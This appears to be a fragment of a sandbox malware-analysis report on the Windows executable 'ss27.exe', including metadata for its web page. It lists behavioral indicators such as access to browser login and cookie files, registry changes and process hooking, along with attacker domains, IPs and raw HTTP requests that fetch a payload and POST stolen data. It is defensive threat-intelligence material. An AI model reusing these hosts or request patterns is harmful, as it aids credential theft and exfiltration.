rights","description":"\"ss27.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\bimage[1].jpg\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"\"ss27.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\")\n \"ss27.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"ss27.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"ss27.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\" claimed CRC 859966 while the actual is CRC 898078","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetModuleFileNameW\n GetVersionExW\n GetTickCount\n OutputDebugStringA\n GetFileAttributesW\n LockResource\n GetCommandLineW\n LoadLibraryExW\n GetStartupInfoW\n GetProcAddress\n GetTempFileNameW\n WriteFile\n UnhandledExceptionFilter\n CreateThread\n LoadLibraryW\n FindResourceExW\n TerminateProcess\n GetModuleHandleW\n GetTempPathW\n GetModuleHandleExW\n FindResourceW\n CreateFileW\n Sleep\n ShellExecuteExW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$34","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique User-Agent","description":"Found the following User-Agents: HTTPREAD\n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70","origin":"Network Traffic","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"malicious","category":"Network Related","name":"Found unknown User-Agent","description":"Found the following User-Agents: HTTPREAD","origin":"Network Traffic","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$35","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":61,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":7,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":2,"contacted_urls_count":8,"http_requests_count":8},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"640c0369e9a3c91882077da7","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"ERROR","error_type":"Cannot run a 64-bit native file on a 32-bit virtual machine","verdict":"undetected","submit_name":"ss27.exe","analysis_start_time":"2023-03-11T04:28:25+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"640b89e2e09411ea90065749","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"ERROR","error_type":"Cannot run a 64-bit native file on a 32-bit virtual machine","verdict":"undetected","submit_name":"ss27.exe","analysis_start_time":"2023-03-10T19:49:54+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"640b85e2403a86e23402eb9f","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"YAV.Minerva","contacted_countries":["RUS","USA","VNM"],"submit_name":"ss27.exe","analysis_start_time":"2023-03-10T19:47:20+00:00","indicators_count":{"informative":57,"suspicious":27,"malicious":4},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"45.136.113.107","port":80,"protocol":"TCP","country":"Viet Nam","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"address":"45.66.159.179","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"address":"157.240.22.35","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}],"dns_resolutions":[{"domain":"bz.bbbeioaag.com","address":"45.136.113.107","ttl":600,"country":"Viet Nam","registrar_name":"Xin Net Technology Corporation","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-03-06T08:56:38+00:00","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"domain":"count.iiagjaggg.com","address":"45.66.159.179","ttl":600,"country":"Russian Federation","registrar_name":"Xin Net Technology Corporation","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-03-06T08:56:36+00:00","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}],"http_requests":[{"host":"bz.bbbeioaag.com","host_ip":"45.136.113.107:80","url":"/sts/bimage.jpg","method":"GET","header":"GET /sts/bimage.jpg HTTP/1.1\nUser-Agent: HTTPREAD\nHost: bz.bbbeioaag.com\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"host":"count.iiagjaggg.com","host_ip":"45.66.159.179:80","url":"/check/safe","method":"GET","header":"GET /check/safe HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70\nHost: count.iiagjaggg.com","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"host":"count.iiagjaggg.com","host_ip":"45.66.159.179:80","url":"/check/?sid=327643&key=5ee3bfb103f1135d13dbc3577ca20fb4","method":"POST","header":"POST /check/?sid=327643&key=5ee3bfb103f1135d13dbc3577ca20fb4 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70\nContent-Length: 160\nHost: count.iiagjaggg.com","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"host":"count.iiagjaggg.com","host_ip":"45.66.159.179:80","url":"/check/?sid=328181&key=097f790f77590177380f0528f450166c","method":"POST","header":"POST /check/?sid=328181&key=097f790f77590177380f0528f450166c HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70\nContent-Length: 256\nHost: count.iiagjaggg.com","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"host":"count.iiagjaggg.com","host_ip":"45.66.159.179:80","url":"/check/?sid=328801&key=f98ee08c6b562bad928208dd74b1c716","method":"POST","header":"POST /check/?sid=328801&key=f98ee08c6b562bad928208dd74b1c716 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70\nContent-Length: 160\nHost: count.iiagjaggg.com","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"host":"count.iiagjaggg.com","host_ip":"45.66.159.179:80","url":"/check/?sid=329373&key=09c73bfec4dc7462069fc3d6da5254e2","method":"POST","header":"POST /check/?sid=329373&key=09c73bfec4dc7462069fc3d6da5254e2 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70\nContent-Length: 256\nHost: count.iiagjaggg.com","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"host":"count.iiagjaggg.com","host_ip":"45.66.159.179:80","url":"/check/?sid=329947&key=f958431912b070074136d6fd8914343d","method":"POST","header":"POST /check/?sid=329947&key=f958431912b070074136d6fd8914343d HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70\nContent-Length: 160\nHost: count.iiagjaggg.com","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"host":"count.iiagjaggg.com","host_ip":"45.66.159.179:80","url":"/check/?sid=330489&key=62dc0a92a284e635eee232805f010e75","method":"POST","header":"POST /check/?sid=330489&key=62dc0a92a284e635eee232805f010e75 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70\nContent-Length: 256\nHost: count.iiagjaggg.com","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}],"processes":[{"pid":1944,"ppid":0,"name":"ss27.exe","command_line":"","sha256":"3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d","normalized_path":"C:\\ss27.exe","uid":"00000000-00001944","icon":"$36"}],"all_imported_dlls":["user32.dll","combase.dll","bcryptprimitives.dll","cryptsp.dll","FWPUCLNT.DLL","ntasn1.dll","ucrtbase.dll","IPHLPAPI.DLL","winhttp.dll","msIso.dll","dnsapi.dll","schannel.dll","wininet.dll","OnDemandConnRouteHelper.dll","urlmon.dll","cryptbase.dll","dpapi.dll","ncrypt.dll","kernel32.dll","iertutil.dll","nsi.dll","crypt32.dll","gdi32.dll","ole32.dll","msvcp_win.dll","advapi32.dll","webio.dll","ncryptsslp.dll","ntdll.dll","rpcss.dll","rpcrt4.dll","profapi.dll","win32u.dll","gdi32full.dll","sspicli.dll","mswsock.dll","apphelp.dll","shell32.dll","VxSSL64.dll","bcrypt.dll","dhcpcsvc.dll","mskeyprotect.dll","KernelBase.dll","ws2_32.dll","dhcpcsvc6.dll","kernel.appcore.dll","powrprof.dll","imm32.dll","oleaut32.dll","msvcrt.dll","SHCore.dll","winnsi.dll","msasn1.dll","winnlsres.dll","sechost.dll","cfgmgr32.dll","windows.storage.dll","shlwapi.dll","uxtheme.dll","rasadhlp.dll","fltLib.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"bimage_1_.jpg","sha256":"0c2633cb4798fd9470f56539c315bcc1dbfb942e8e7f963a3890c8bc1930646e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1944:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1944:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"Local\\SM0:1944:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"name":"SM0:1944:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}]}},"report_ids":{"sandbox_job_ids":["640b85e2403a86e23402eb9f"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan/Generic Sample 3d4182d4be7f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 3d4182d4be7f…. Malware family: Trojan/Generic. Threat score 100/100. 2/28 AV engines flagged this file. 4 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan/Generic Sample 3d4182d4be7f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 3d4182d4be7f…. Malware family: Trojan/Generic. Threat score 100/100. 2/28 AV engines flagged this file. 4 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan/Generic Sample 3d4182d4be7f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 3d4182d4be7f…. Malware family: Trojan/Generic. Threat score 100/100. 2/28 AV engines flagged this file. 4 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L37","11",{}]]